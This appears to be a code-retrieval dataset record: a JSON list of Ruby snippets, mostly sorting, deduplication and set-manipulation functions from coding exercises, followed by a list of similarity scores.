[ "def sort!\n\t\tquick!(self, 1, length)\n\tend", "def problem_106\n a = [1,2,3,4]\n a = [1,2,3,4,5,6,7]\n a = [1,2,3,4,5,6,7,8,9,10,11,12] \n \n num = 0\n seen = {}\n # Don't do length of 1, they are ordered\n # Because they are size ordered, and 2 smalls are bigger than a large\n 2.upto(a.length/2) do |n|\n puts \"n = #{n}\"\n a.combination(n) do |set_a|\n b = a - set_a\n break if b.length < n\n b.combination(n) do |set_b|\n key = [set_a,set_b].sort\n next if seen[key]\n seen[key] = true\n index = 0\n state = 0\n 0.upto(set_a.length-1) do |i|\n break unless set_b[i] && set_a[i]\n if set_a[i] < set_b[i]\n state -= 1\n else\n state += 1\n end\n end\n\n# print \"#{set_a.inspect} #{set_b.inspect} #{state}\"\n if state.abs <= (set_a.length - 2) ||\n (state < 0 && set_a.last > set_b.last) ||\n (state > 0 && set_a.first < set_b.first)\n# puts \" good\"\n num += 1\n else\n# puts \"\"\n end\n end\n end\n end\n num\nend", "def bigSorting(unsorted)\n\nend", "def clean_result_set(result_set)\n result_set.each do |set|\n set.sort!\n end\n result_set.sort! {|a,b| a.size <=> b.size}\n end", "def key_sorter collection\n destination = Array.new\n collection.each_key {|key| destination << key.to_s }\n p destination.sort_by {|x| x.length}\nend", "def sort_by_length(my_sentence)\n split_array = my_sentence.split\n\n (split_array.length - 1).times do |i|\n value = split_array[i + 1]\n j = i + 1\n\n while j > 0 && split_array[j - 1].length > value.length\n split_array[j] = split_array[j - 1]\n j -= 1\n end\n split_array[j] = value\n end\n\n return split_array \nend", "def to_multiset_simple n\n @set.permutation(n).to_a.sort_by { rand }\n end", "def sluggish_octopus(array)\n\n sorted = false\n until sorted\n sorted = true\n\n array.each_index do |i|\n next if i == array.length - 1\n j = i + 1\n\n if array[i].length > array[j].length\n sorted = false\n array[i], array[j] = array[j], array[i]\n end\n end\n end\n array.last\n\nend", "def rearrange(array, less, array_length, highest_value)\n sorted = []\n for i in (0..(array_length - 1))\n key = array[i]\n index = less[key]\n sorted[index] = array[i]\n less[key] += 1\n end\n return sorted\nend", "def sort_by_length(my_sentence)\n words = my_sentence.split(/\\W+/)\n\n words.size.times do |first_index| \n min_index = first_index\n\n (words.size-first_index).times do |subarray_index|\n if words[first_index+subarray_index].length < words[min_index].length \n min_index = first_index + subarray_index\n end\n end\n \n unless min_index == first_index #don't swap the same index with itself\n holder = words[first_index]\n words[first_index] = words[min_index]\n words[min_index] = holder\n end\n end\n\n return words\nend", "def sort(arr)\n word_count = {}\n arr.each do |word|\n if word_count[word.length]\n word_count[word.length] << word\n else\n word_count[word.length] = [word]\n end\n end\n word_count.sort.map{|set|set.last.sort}.flatten\nend", "def sluggish_octopus!(array)\n sorted = false\n until sorted\n sorted = true\n array.each_index do |index|\n index_2 = index + 1\n next if index_2 == array.length\n if array[index].length > array[index_2].length\n array[index],array[index_2] = array[index_2],array[index]\n sorted = false\n end\n end\n end\n array[-1]\nend", "def lineup_students(students)\n students.sort_by { |x| x.length }\nend", "def sorted_keys; end", "def sort_by_length(my_sentence)\n\n man = my_sentence.split\n measure = man.length\n birth = 0\n\n while birth < (measure - 1)\n iron_mask = 0\n\n while iron_mask < (measure - birth - 1) \n\n if man[iron_mask].length > man[iron_mask + 1].length\n placeholder = man[iron_mask]\n man[iron_mask] = man[iron_mask + 1]\n man[iron_mask + 1] = placeholder\n end\n\n iron_mask += 1\n end\n \n birth += 1\n end\n\n return man\nend", "def find_set()\n while(!found_target?(temp_set,target) and !temp_set.last.empty?)\n add_one_more_item(temp_set, target)\n # Removing duplicates causes an incredible speedup\n temp_set[temp_set.length-1] = temp_set.last.uniq\n end\n temp_set.length\n end", "def sort_by_length(my_sentence)\n \n array = my_sentence.split(/\\s/)\n\n # using selection sort here\n i = 0\n while i < array.length - 1\n min_index = i\n j = i + 1\n while j < array.length\n if array[j].length < array[min_index].length\n min_index = j\n end\n j += 1\n end\n if min_index != i\n temp = array[min_index]\n array[min_index] = array[i]\n array[i] = temp\n end\n i += 1\n end\n \n return array\n\nend", "def sort_sublists_by_length\n sort_by { |array| array.size }\n end", "def sort_by_length(my_sentence)\n array_of_words = my_sentence.split\n sorted_array = []\n array_of_words.each_with_index do |word, index_on_normal_array|\n if index_on_normal_array == 0\n sorted_array.push(array_of_words[0])\n else\n sorted_array_clone = sorted_array.clone\n sorted_array_clone.each_with_index do |word_in_sorted_array,index_in_sorted_array| \n if word.length < word_in_sorted_array.length\n sorted_array.insert(index_in_sorted_array,word)\n elsif word.length == word_in_sorted_array.length && word.length < word_in_sorted_array.length\n sorted_array.insert(sorted_array_clone.length,word) \n elsif word.length >= word_in_sorted_array.length && index_in_sorted_array == (sorted_array_clone.length - 1)\n sorted_array.insert(sorted_array_clone.length,word) \n end\n\n end\n\n end\n\n end\n return sorted_array\nend", "def sort_by_length(my_sentence)\n if my_sentence.nil? || my_sentence == \"\"\n return []\n end\n word_array = my_sentence.split(\" \")\n sorted = []\n sorted << word_array[0]\n \n \n word_array.each do |word|\n index = 0\n while index < word_array.length\n if word.length < sorted[index].length\n sorted.insert(index, word)\n break\n elsif word.length == sorted[index].length\n sorted.insert(index+1,word)\n break\n elsif index == sorted.length-1\n sorted.insert(index+1,word)\n break\n end\n index += 1\n end\n end\n return sorted.uniq\nend", "def sort_by_length(arr)\n arr\nend", "def <=>(set)\n return unless set.is_a?(Set)\n\n case size <=> set.size\n when -1 then -1 if proper_subset?(set)\n when +1 then +1 if proper_superset?(set)\n else 0 if self.==(set)\n end\n end", "def sort3(strings, length)\n i = length - 1 \n letters = (\"a\"..\"z\").to_a\n while i >= 0 \n # O(k)\n buckets = Array.new(26) {[]}\n strings.each do |string|\n buckets[letters.find_index(string[i])] << string \n # O(n)\n end \n strings = buckets.flatten\n i-=1\n end \n p strings\nend", "def stable_sort_by(list); end", "def twist length\n # Compute the subset of the list\n sub = (0...length).map do |i|\n @list[(@position + i) % @list.size]\n end\n\n # Replace the subset with its reverse\n sub.reverse.each_with_index do |el, i|\n @list[(@position + i) % @list.size] = el\n end\n\n @position = (@position + length + @skip_size) % @list.size\n @skip_size += 1\n end", "def remove_duplicates(nums)\n #提供的array為已經排序過的array\n #將重複的移除,使陣列中每個元素都不重複\n #右邊元素=左邊元素時,全部往左移\n #將左移過後多出來的元素設為nil\n #刪除nil元素用 陣列.delete(nil)\n #回傳新陣列長度\n \n i = 0\n j = 0\n k = 0\n\n numssize = nums.size\n\n while i < (numssize - j)\n nums[i] = nums[ i + j ]\n if nums[i] == nums[i + j +1]\n j += 1\n while nums[i + j] == nums[i + j +1]\n j += 1\n end\n nums[i + j] = nums[ i + j + 1]\n end\n i += 1\n end\n\n for k in (numssize - j)...numssize\n nums[k] = nil \n end\n\n nums.delete(nil)\n\n newsize = nums.size\nend", "def sort_by_length(my_sentence)\n my_array = my_sentence.split(\" \")\n i = 1\n \n while i < my_array.length\n to_insert = my_array[i]\n j = i\n \n while j > 0 && my_array[j-1].length > to_insert.length\n my_array[j] = my_array[j-1]\n j -= 1\n end\n my_array[j] = to_insert\n i += 1\n end\n return my_array\nend", "def ordenar_for\n\t @lista = self.map{ |a| a }\n\t \tfor i in (0..@lista.count-1)\n\t\t\tfor j in (0..@lista.count-1)\n\t\t\t\tif j+1 != @lista.count\n if @lista[j+1] < @lista[j]\n\t\t\t\t\t\t@lista[j],@lista[j+1] = @lista[j+1],@lista[j]\n \t\t\t\tend\n\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@lista\n end", "def heal!(collection)\n memory = {}\n changed = false\n\n collection.select(&:sort_order).sort_by(&:sort_order).each do |item|\n\n if memory[1].nil?\n memory[1] = item\n item.update(sort_order: 1)\n next\n end\n\n # Found duplicate sort_item\n if memory[item.sort_order]\n memory.sort.each do |order, item|\n if not memory[order + 1].present?\n memory[order+1] = item\n item.update(sort_order: order + 1)\n changed = true\n next\n end\n end\n\n next\n end\n\n # Found gap of 1\n if memory[item.sort_order.to_i - 1].nil?\n s = item.sort_order.to_i - 1\n s.times do |n|\n if memory[n].nil?\n memory[n] = item\n item.update(sort_order: n)\n changed = true\n next\n end\n end\n end\n\n if memory[item.sort_order].nil?\n memory[item.sort_order] = item\n next\n end\n\n end\n\n heal! collection if changed\n end", "def yale_row_as_sorted_set i\n require 'set'\n SortedSet.new(yale_row_as_array(i))\n end", "def yale_nd_row_as_sorted_set i\n require 'set'\n SortedSet.new(yale_nd_row(i, :array))\n end", "def num_uniq\n Set[*self].size\n end", "def lfsort(list)\n freqs = Hash.new(0) # map from length to frequency\n list.each { |v| freqs[v.length] += 1 }\n merge_sort(list) { |a,b| freqs[a.length] <=> freqs[b.length] }\nend", "def sort_by_length(my_sentence)\n sorted = []\n split_sentence = my_sentence.split(\" \")\n while !split_sentence.empty?\n sorted << split_sentence.delete(split_sentence.min { |a, b| a.length <=> b.length }) #push the word with the min value into sorted then delete it\n end\n return sorted\nend", "def find_dups2\n uniq.select{ |e| (self-[e]).size < self.size - 1 }\n end", "def find_dups2\n uniq.select{ |e| (self-[e]).size < self.size - 1 }\n end", "def selection_sort\n\n n = @data.length - 1\n\n for i in (n).downto(1) # Start from the end of the array\n\n k = i # k is the biggest element we have seen so far from the remaining unsorted data\n for j in 0..i # Traverse up to, but not including the sorted part of the array\n\n if @data[j] > @data[k]\n\n k = j # This sets the new max if we ever saw one\n end\n\n swap(@data, i, k) # Regardless if k is ever changed, you still swap (Potentially i equals k)\n end\n end\n\n puts(@data)\n end", "def counting_sort(array, array_length, highest_value)\n equal = count_keys_equal(array, array_length, highest_value)\n less = count_keys_less(equal, highest_value)\n sorted = rearrange(array, less, array_length, highest_value)\n return sorted\nend", "def partition_set(s, universe)\n all_disjoint(s) \n s.union.size.must == universe.entries.length\n end", "def get_set(key_size, unique_values)\n unique_values.repeated_permutation(key_size).to_a\nend", "def solution4(a)\n left = 0\n right = a.size - 1\n distinct = 0\n\n while left <= right\n # puts \"left: #{left}, right: #{right}\"\n # puts \"a[l]: #{a[left]}, a[r]: #{a[right]}\"\n # puts \"distinct: #{distinct}\"\n if a[left].abs > a[right].abs\n begin\n left += 1\n end until a[left] != a[left - 1]\n elsif a[left].abs < a[right].abs\n begin\n right -= 1\n end until a[right] != a[right + 1]\n else\n begin\n left += 1\n end until a[left] != a[left - 1]\n begin\n right -= 1\n end until a[right] != a[right + 1] \n end\n\n distinct += 1\n end\n distinct\nend", "def select_sort(x)\n\n smallest = 0\n\n x.length().times do |index|\n smallest = index\n (index..x.length()-1).each do |check|\n if x[check] < x[smallest]\n smallest = check\n end\n end\n temp = x[index]\n x[index] = x[smallest]\n x[smallest] = temp\n end\n\n return x\nend", "def getASAry(set)\n ary = Array.new\n set.each{|k,v|\n if v then ary.push(k.to_i) end\n }\n ary.sort!\nend", "def sort_and_fill\n \treturn @array if array_is_too_small\n\n diffs = differences_between_elements\n return @array if differences_are_same diffs\n\n insert_new_elements(diffs)\n @array\n end", "def rset; end", "def sort_by_sites!\n @list = Hash[@list.sort_by {|partition_name, partition| partition.sites.size}]\n self\n end", "def sort_by_length(arr)\n\treturn arr.sort_by {|x| x.length}\nend", "def sorted_sets(sets, query_word_regexps)\n sets.sort_by! do |set|\n pre_match_length = nil\n found_query_index = nil\n found_query_count = 0\n query_word_regexps.each_with_index do |q, idx|\n if (m = set.name.match(/#{q}/i))\n pre_match_length ||= m.pre_match.length\n found_query_index ||= idx\n found_query_count += 1\n end\n end\n pre_match_length ||= 1000\n found_query_index ||= 1000\n [-found_query_count, pre_match_length, found_query_index, set.name.downcase]\n end\n sets\n end", "def recombine (halved)\n left = halved.first\n right = halved.last\n sorted = []\n\n\n\nend", "def sort3(array, length)\n # O(k)\n length.times do |i|\n # clear hash\n hash = {}\n \n # O(n)\n array.each do |str|\n if hash[str[i]].nil?\n hash[str[i]] = [str]\n else\n hash[str[i]] += [str]\n end\n end\n\n array = []\n # O(n)\n hash.values.each do |val|\n array += val \n end\n end\n\n # overall time complexity O(kn)\n array\nend", "def sort(companies)\n companies.sort_by do |company|\n -company.size\n end \nend", "def subsets_with_dup(nums)\n result = []\n nums.sort!\n subsets_helper(nums, [], result, 0, {})\n result\nend", "def install_order(arr)\n new_range = (arr.min.min..arr.max.max).to_a\n result_arr = []\n tup_hash = {}\n arr.each do |subarr|\n if tup_hash[subarr[0]]\n tup_hash[subarr[0]] = tup_hash[subarr[0]].push(subarr[1])\n else\n tup_hash[subarr[0]] = [subarr[1]]\n end\n new_range.delete(subarr[0])\n end\n until tup_hash.keys.empty?\n tup_hash.keys.each do |tup|\n if tup_hash[tup].any? { |el| tup_hash.keys.include?(el) }\n\n else\n result_arr.push(tup)\n tup_hash.delete(tup)\n end\n end\n end\n\n\n new_range.concat(result_arr)\n p new_range\n return new_range\nend", "def sort_by_length(my_sentence)\n array = my_sentence.split\n length = array.length\n \n index = 0\n while index < (length - 1)\n other_index = 0\n while other_index < (length - index - 1)\n if array[other_index].length > array[other_index + 1].length\n temp = array[other_index]\n array[other_index] = array[other_index + 1]\n array[other_index + 1] = temp\n end\n other_index += 1\n end\n index += 1\n end\n \n return array\nend", "def sort3(strings, length)\n (length - 1).downto(0) do |i|\n buckets = Array.new(26) { [] }\n strings.each do |string|\n letter = string[i]\n buckets[letter.ord - \"a\".ord] << string\n end\n\n strings = []\n buckets.each do |bucket|\n bucket.each { |string| strings << string }\n end\n end\n\n strings\nend", "def succ\n if @combo == nil or @combo == @set[-@num_elements..-1]\n return nil if (@num_elements +=1) > @set.length\n @combo = @set[0,@num_elements]\n else\n index = (1..@num_elements).find {|i| @combo[-i] < @set[-i]}\n @combo[-index, index] = @set[@map[@combo[-index]], index]\n end\n @combo\n end", "def ullman(nums, t, k)\n return false if nums.size < k\n nums.sort[0...k].reduce(:+) < t\nend", "def sort(unsorted_array)\n @sorted_array << unsorted_array.delete_at(unsorted_array.min)\n sort(unsorted_array) until unsorted_array.length == 0\n# This is the RECURSION - latest value of unsorted_array after each iteration\n# is then re-run through the sort method until everything is sorted.\n @sorted_array\nend", "def sort_by_length(my_sentence)\n my_sentence = my_sentence.split\n\n my_sentence.length.times do |i|\n j = 0\n\n while j < (my_sentence.length - i - 1)\n if my_sentence[j].length > my_sentence[j + 1].length\n temp = my_sentence[j]\n my_sentence[j] = my_sentence[j + 1]\n my_sentence[j + 1] = temp\n end\n \n j += 1\n end\n end\n\n return my_sentence\nend", "def size=(val)\n if @size > val\n @elements.keys.each do |k|\n @elements.delete(k) if k >= val\n end\n end\n @size = val\n end", "def sort_by_length(my_sentence)\n raise ArgumentError unless my_sentence.class == String\n\n sentence_array = my_sentence.split(\" \")\n my_array = []\n my_length = sentence_array.length\n \n until my_array.length == my_length\n sentence_array.length.times do |i|\n shortest = sentence_array.min { |x, y| x.length <=> y.length }\n my_array << shortest \n sentence_array.delete(shortest)\n end\n end\n return my_array\nend", "def sort_to_set(array, set)\n s = set\n results = {}\n # map set to hash keys\n s.each do |date|\n results[date] = {}\n end\n\n # results\n array.each do |entry|\n site = entry[1]\n date = entry[0]\n # debugger\n if results[date][site]\n # debugger\n results[date][site] += 1\n else\n # debugger\n results[date][site] = 1\n end\n end\n\n # results.sort_by { |k, v| k}\n results.map do |k, v|\n results[k] = v.sort{|a, b| b[1] <=> a[1] }\n end\n\n results.sort_by {|k, v| k }\nend", "def gnomesort(a)\n a.start_logging\n\n i = 0\n while i < a.length\n if i == 0 || a[i] > a[i - 1]\n i += 1\n else\n a[i], a[i - 1] = a[i - 1], a[i]\n a.log\n i -= 1\n end\n end\n\n a\nend", "def sort_by_size\n @mappers << Proc.new do |allocations|\n allocations.sort_by { |key, value| -value.size }\n .inject({}) { |hash, pair| hash[pair[0]] = pair[1]; hash }\n end\n\n self\n end", "def sort_by_length(my_sentence)\n return [] if my_sentence == \"\"\n\n words = my_sentence.split\n i = 1\n \n # implement selection sort \n while i < words.length \n adjacent_word = words[i]\n j = i \n\n while j > 0 && words[j-1].length > adjacent_word.length\n words[j] = words[j-1]\n j -= 1\n end\n\n words[j] = adjacent_word\n i += 1\n end\n\n return words\nend", "def normalize(set)\n set.map { |n| n - set.min }\n end", "def unique_in_order(iterable) \n# create an empty array\ncontent = []\n\n # check each letter/number of `iterable` \n for e in (0..iterable.length()-1) \n\n# compare current element to previous element\n# if array is empty\n if e == 0 or \n# \n# if current element is not the same with previous element, push current index to content array\n iterable[e] != iterable[e-1] \n content.push(iterable[e])\n end\n end\n# return new content array\n return content\nend", "def sort\n sorted = []\n\n # Iterate Over Array Length\n array_length.times do\n m = randomized_array[0]\n mi = 0\n\n # Iterate over collection and compare the first element in the collection\n # Change the value of variable m if iterated value is less than the initial value\n # Our goal is to set the lowest value as variable m's value\n randomized_array.each_with_index do |value, idx|\n if value < m\n m = value\n mi = idx\n end\n end\n # Remove the lowest value from the original collection and append into new\n # collection\n randomized_array.delete_at mi\n sorted << m\n end\n\n sorted\n end", "def quick_sort(fishies)\n ref = fishies.first\n smaller = fishies.select { |fish| fish.length < ref.length }\n bigger = fishies.select { |fish| fish.length > ref.length }\n return fishies if fishies.length <= 1\n\n (quick_sort(smaller) + [ref] + quick_sort(bigger))\nend", "def shell_sort(a)\n i = 0\n j = 0\n size = a.length\n increment = size / 2\n temp = 0\n \n while increment > 0\n i = increment\n while i<size\n j = i\n temp = a[i]\n while j>=increment and a[j-increment]>temp\n a[j] = a[j-increment]\n j = j-increment\n end\n a[j] = temp\n i+=1\n end\n if increment == 2\n increment = 1\n else\n increment = (increment/2).to_i\n end\n end\n return a\nend", "def initialize()\n @restaurants = SortedSet.new\n end", "def selection_sort(arr)\n<<<<<<< HEAD\n\tto_sort = arr.dup\n\tsorted = []\n\tuntil sorted.length == arr.length\n\t\tmin = to_sort[0]\n\t\tto_sort.length.times do |i|\n\t\t\tmin = to_sort[i] if to_sort[i] < min\n\t\tend\n\t\tsorted.push(min)\n\t\tto_sort.delete_at(to_sort.index(min))\n\tend\n\tarr = sorted\n\treturn arr\n=======\n return arr\n>>>>>>> upstream/master\nend", "def sort_by_length(my_sentence)\n if my_sentence == \"\" \n return []\n end\n\n array = my_sentence.split\n\n i = 1\n while i < array.length \n j=i \n while j > 0 && array[j-1].length > array[j].length \n array[j-1],array[j] = array[j], array[j-1]\n end\n i=i+1\n end\n return array \nend", "def for\r\n aux = @head\r\n vec = []\r\n \r\n while (aux != nil)\r\n vec << aux.value\r\n aux = aux.next\r\n end\r\n\r\n for i in 1..vec.size-1\r\n for j in 0..vec.size-i-1\r\n if(vec[j] > vec[j+1])\r\n k=vec[j+1]\r\n vec[j+1]=vec[j]\r\n vec[j]=k\r\n end\r\n end\r\n end\r\n vec \r\n end", "def for\r\n aux = @head\r\n vec = []\r\n \r\n while (aux != nil)\r\n vec << aux.value\r\n aux = aux.next\r\n end\r\n\r\n for i in 1..vec.size-1\r\n for j in 0..vec.size-i-1\r\n if(vec[j] > vec[j+1])\r\n k=vec[j+1]\r\n vec[j+1]=vec[j]\r\n vec[j]=k\r\n end\r\n end\r\n end\r\n vec \r\n end", "def sort3(array, length)\n\nend", "def sort_by_length(my_sentence)\n array = my_sentence.split\n length = array.length\n i = 0\n\n while i < length-1 \n j = 0\n while j < length-i-1 \n if array[j].length > array[j+1].length # compares the length of each word\n temp = array[j]\n array[j] = array[j+1]\n array[j+1] = temp\n end\n j += 1\n end\n i += 1\n end\n\n return array \nend", "def solution(a)\n # write your code in Ruby 2.2\n a.sort!\n #use two pointers and do slidding window technique\n pointer_a = 0\n pointer_b = 1\n while(pointer_b < a.size)\n if a[pointer_a] == a[pointer_b]\n a.delete(a[pointer_a])\n else\n pointer_a += 1\n pointer_b += 1\n end\n end\n return a[0]\nend", "def minimum_set_of_words(input)\n return [] if input.nil? || input.size == 0\n return input if input.size == 1\n\n w = input[-1] # take last word, that has just been added\n ww = input[0..-2] # take the words without last.\n\n w_letter_set = letter_set_from_words(w)\n ww_letter_set = letter_set_from_words(ww)\n\n if w_letter_set <= ww_letter_set\n\n minimum_set_of_words(ww)\n\n elsif (w_letter_set & ww_letter_set < w_letter_set) && (w_letter_set & ww_letter_set).size >= 1\n\n temp = minimum_set_of_words(ww)\n without_words_not_contributing_to_letter_set(temp, w)\n temp + [w]\n\n else\n\n minimum_set_of_words(ww) + [w]\n\n end\nend", "def solution(a, k)\n # write your code in Ruby 2.2\n \n unless a.empty?\n for i in 1..k\n last = a.pop\n a.insert(0, last)\n end\n end\n \n return a\nend", "def shell_sort(a)\n n = a.length # Size of input\n h = 1\n h = h * 3 + 1 while h < n / 3\n\n while h >= 1\n i = h\n while i < n\n j = i\n while j >= h && a[j] < a[j - h]\n temp = a[j - h]\n a[j - h] = a[j]\n a[j] = temp\n\n j -= h\n end\n i += 1\n end\n h = (h / 3).to_i\n end\n a\nend", "def trim(leaderboard, spectrum, n)\n lb_map = {}\n leaderboard.each do |peptide|\n linear_score = cyclopeptide_scoring_linear(peptide, spectrum)\n lb_map[peptide] = linear_score\n end\n sorted = lb_map.sort_by {|k,v| v}.reverse\n #puts sorted.join(\" \")\n for j in n..leaderboard.size-1\n if sorted[j][1] < sorted[n-1][1]\n #puts \"deleting #{sorted[j][0]}\"\n leaderboard.delete(sorted[j][0])\n end \n end\n leaderboard\nend", "def sort2(arr, upper_bound)\n hash = {}\n result = []\n arr.each { |el| hash[el] = true }\n (1..upper_bound).each do |el|\n result << el if hash[el]\n end \n p result \nend", "def sort_by_length(sentence)\n word_arr = sentence.split(\" \")\n\n i = 0\n while i < word_arr.length\n j = 0\n while j < word_arr.length - i - 1\n if word_arr[j].length > word_arr[j+1].length\n temp = word_arr[j]\n word_arr[j] = word_arr[j+1]\n word_arr[j+1] = temp \n end\n\n j += 1\n end\n i += 1\n end\n\n return word_arr\nend", "def sluggish_octopus(arr)\n lngest_fish = [arr.first]\n # debugger\n arr.each do |fish|\n # debugger\n lngest_fish = [fish] if fish.length > lngest_fish.first.length\n end\n lngest_fish\nend", "def __add_keys_to(set) # used by parser # [\n lim = @_st_tableSize\n lim = lim + lim\n kofs = 0\n while kofs < lim\n k = self.__at(kofs)\n if k._not_equal?(RemoteNil)\n set.add(k) # k,v pair\n else\n v = self.__at(kofs + 1)\n if v._not_equal?(RemoteNil)\n if v._isFixnum\n # internal collision chain\n idx = v\n begin\n ck = self.__at(idx)\n if ck._not_equal?(RemoteNil)\n set.add(ck)\n end\n idx = self.__at(idx + 2)\n end while idx._isFixnum\n else\n # a collision bucket , which is a small Hash \n v.__add_keys_to(set)\n end\n end\n end\n kofs += 2\n end\n end", "def selection_sort(n,a)\n for i in 0..n-2\n minimum_index = i\n key = a[i]\n for j in i+1..n-1\n if a[j] < a[minimum_index]\n minimum_index = j\n end\n end\n a[i] = a[minimum_index]\n a[minimum_index] = key\n end\n for i in 0..n-1\n print a[i]\n end\n print \"\\n\"\nend", "def sort_by_length(my_sentence)\n #raise NotImplementedError, \"Method not implemented\"\n new_sentence = my_sentence.split()\n n = new_sentence.length\n for j in 0..n-1\n for i in 0..n-2-j\n if new_sentence[i].length > new_sentence[i + 1].length\n temp = new_sentence[i]\n new_sentence[i] = new_sentence[i+1]\n new_sentence[i + 1] = temp\n end\n end\n end\n return new_sentence\nend", "def part_1\n nodes = Set.new([SHINY_GOLD])\n growing = true\n size = nodes.size\n\n while growing\n @bag_rules.each do |key, bags|\n nodes.add(key) if bags.keys.to_set.intersect?(nodes)\n end\n growing = size != nodes.size\n size = nodes.size\n end\n\n nodes.size - 1\n end", "def wiggle_sort(nums)\n nums = nums.sort!\n\n greater_num_idx = nums.length / 2\n lesser_num_idx = 1\n\n until lesser_num_idx >= greater_num_idx\n nums[lesser_num_idx], nums[greater_num_idx] = nums[greater_num_idx], nums[lesser_num_idx]\n lesser_num_idx += 2\n greater_num_idx += 1\n end\n nums\nend", "def del_sort(array)\n end", "def sort_by_length(my_sentence)\n i = 0\n sentence_array = my_sentence.split(\" \")\n\n while i < (sentence_array.length)-1\n j = 0\n while j < (sentence_array.length)-i-1\n if (sentence_array[j].length) > (sentence_array[j+1].length)\n temp = sentence_array[j]\n sentence_array[j] = sentence_array[j+1]\n sentence_array[j+1] = temp\n end\n j += 1\n end\n i += 1\n end\n return sentence_array\nend", "def sort!\n sort_if_needed\n self\n end", "def uniq() end", "def get_decreasing(products, guesses)\n result = Set.new\n nr_of_decs = 0\n guesses[0..-1].each_cons(2) do |con|\n if products.index(con[0]) > products.index(con[1])\n result << con[0] << con[1] \n nr_of_decs += 1\n end\n end\n [result.to_a.flatten, nr_of_decs]\n end", "def each1\r\n aux = @head\r\n vec = []\r\n \r\n while (aux != nil)\r\n vec << aux.value\r\n aux = aux.next\r\n end\r\n\r\n vec.each.with_index(1) do |val,i|\r\n if(i < vec.size-1)\r\n vec.each.with_index(0) do |n,j|\r\n if(j < vec.size-i)\r\n if(vec[j] > vec[j+1])\r\n k=vec[j+1]\r\n vec[j+1]=vec[j]\r\n vec[j]=k\r\n end\r\n end\r\n end\r\n end\r\n end\r\n vec\r\n end", "def each1\r\n aux = @head\r\n vec = []\r\n \r\n while (aux != nil)\r\n vec << aux.value\r\n aux = aux.next\r\n end\r\n\r\n vec.each.with_index(1) do |val,i|\r\n if(i < vec.size-1)\r\n vec.each.with_index(0) do |n,j|\r\n if(j < vec.size-i)\r\n if(vec[j] > vec[j+1])\r\n k=vec[j+1]\r\n vec[j+1]=vec[j]\r\n vec[j]=k\r\n end\r\n end\r\n end\r\n end\r\n end\r\n vec\r\n end", "def sort3(collection)\n # p \"sort 3\"\n # p collection\n collection[1..-1].each_with_index do |el, i|\n k = i + 1\n # p \"*********** i is: #{i} ************\"\n while collection[k] < collection[k-1]\n # p \"k is: #{k}\"\n # p \"swapping #{collection[k]} with #{collection[k-1]}\"\n collection[k], collection[k-1] = collection[k-1], collection[k]\n # p collection\n # p \"subtracting 1 from k\"\n k -= 1\n break if k == 0\n end\n end\n collection\nend", "def minimum_rearranged_drinks(drinks)\n\n # if there is only one drink then \n # Tux only drinks one \n n = drinks.length\n if n == 1\n return 1\n end\n\n n -= 1\n\n count = 0\n i = 0\n while i < n\n # get current max and delete it from array\n i += drinks.max\n drinks.delete_at(drinks.index(drinks.max))\n\n # i >= n means we are done but we must add\n # the final drink at the end so add 2\n # otherwise add one for that drink\n if i >= n \n count += 2\n else\n count += 1\n end\n end\n\n return count\n\nend", "def selection_sort(list)\n (list.size - 1).times do |i|\n min = i # starting min value\n for j in i+1..list.size - 1 # searches all values to right to find min\n min = j if list[j] < list[min] # resets min\n end\n list[min], list[i] = list[i], list[min] # swaps min val with past min val, ignoring already sorted part\n end\n list\nend", "def optimize_index!\n @domain_index.each do |key, val|\n # Sort each path/name_key pair by the longest path\n @domain_index[key].sort! { |a, b|\n b[0].size <=> a[0].size\n }.uniq!\n end\n end" ]
[ "0.61844784", "0.6127619", "0.6114293", "0.6104816", "0.60902244", "0.60141945", "0.59686816", "0.5925692", "0.5905632", "0.58960813", "0.5881049", "0.5869357", "0.58202565", "0.578843", "0.57796705", "0.57770026", "0.57184565", "0.57174134", "0.5711394", "0.5711266", "0.5699813", "0.567864", "0.5667074", "0.5660283", "0.56555915", "0.56533325", "0.56512487", "0.56221914", "0.5596632", "0.5592275", "0.55882114", "0.5582842", "0.5577612", "0.55764294", "0.55499595", "0.55499595", "0.55398047", "0.55305487", "0.5521959", "0.55138075", "0.55099183", "0.55039346", "0.5495542", "0.5494918", "0.5490075", "0.54783225", "0.54626954", "0.546244", "0.54614466", "0.5460089", "0.5455307", "0.54526705", "0.54455614", "0.5439933", "0.543993", "0.54380554", "0.54325926", "0.54308665", "0.54301775", "0.5429633", "0.54239565", "0.5419281", "0.54153115", "0.5414674", "0.5413439", "0.54099554", "0.54040915", "0.5396625", "0.5396562", "0.5394109", "0.5393469", "0.53885347", "0.53795815", "0.5376417", "0.5376417", "0.53653556", "0.5362808", "0.53570336", "0.53488237", "0.53479606", "0.5346597", "0.53462565", "0.53450155", "0.5342407", "0.53345436", "0.53311145", "0.5324539", "0.5318544", "0.5314021", "0.5313307", "0.53118604", "0.5299307", "0.52864516", "0.52864116", "0.52779466", "0.52779216", "0.52779216", "0.52712035", "0.52655363", "0.526542", "0.526036" ]
0.0
-1
Reversely keep the sorted set to the specified length
def keep_tail(length) rank = size - length drop_above(rank) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reverse!\n low = 0\n high = self.__size - 1\n while low < high\n a = self.__at(low)\n b = self.__at(high)\n self.__at_put(high, a)\n self.__at_put(low, b)\n low = low + 1\n high = high - 1\n end\n self\n end", "def reverse!(arr)\n arr.size.times do |n|\n arr.unshift(arr.delete_at(n))\n end\n arr\nend", "def reverse!(list)\n initial_length = list.length\n iterator = (list.length - 1)\n while iterator >= 0\n list << list[iterator]\n iterator -= 1\n end\n iterator2 = 0\n until iterator2 == initial_length\n list.delete_at(0)\n iterator2 += 1\n end\n p list\nend", "def twist length\n # Compute the subset of the list\n sub = (0...length).map do |i|\n @list[(@position + i) % @list.size]\n end\n\n # Replace the subset with its reverse\n sub.reverse.each_with_index do |el, i|\n @list[(@position + i) % @list.size] = el\n end\n\n @position = (@position + length + @skip_size) % @list.size\n @skip_size += 1\n end", "def reverse!\n\t\t@order *= -1\n\t\tresort\n\tend", "def reverse(array, length)\n first_index = 0\n last_index = length - 1\n\n while first_index < last_index\n temp = array[first_index]\n array[first_index] = array[last_index]\n array[last_index] = temp\n\n first_index += 1\n last_index -= 1\n end\n\n return array\nend", "def clearbyrev rev #(const rev: int64)\n (size-1).downto(0) do |i|\n delete_at(i) if self[i].rev < rev # удаляем из общей таблицы\n end\n end", "def reverse!(arr)\n arr.each do |element|\n arr.delete(element)\n arr.unshift(element)\n end\nend", "def keep_head(length)\n drop_below(length)\n end", "def 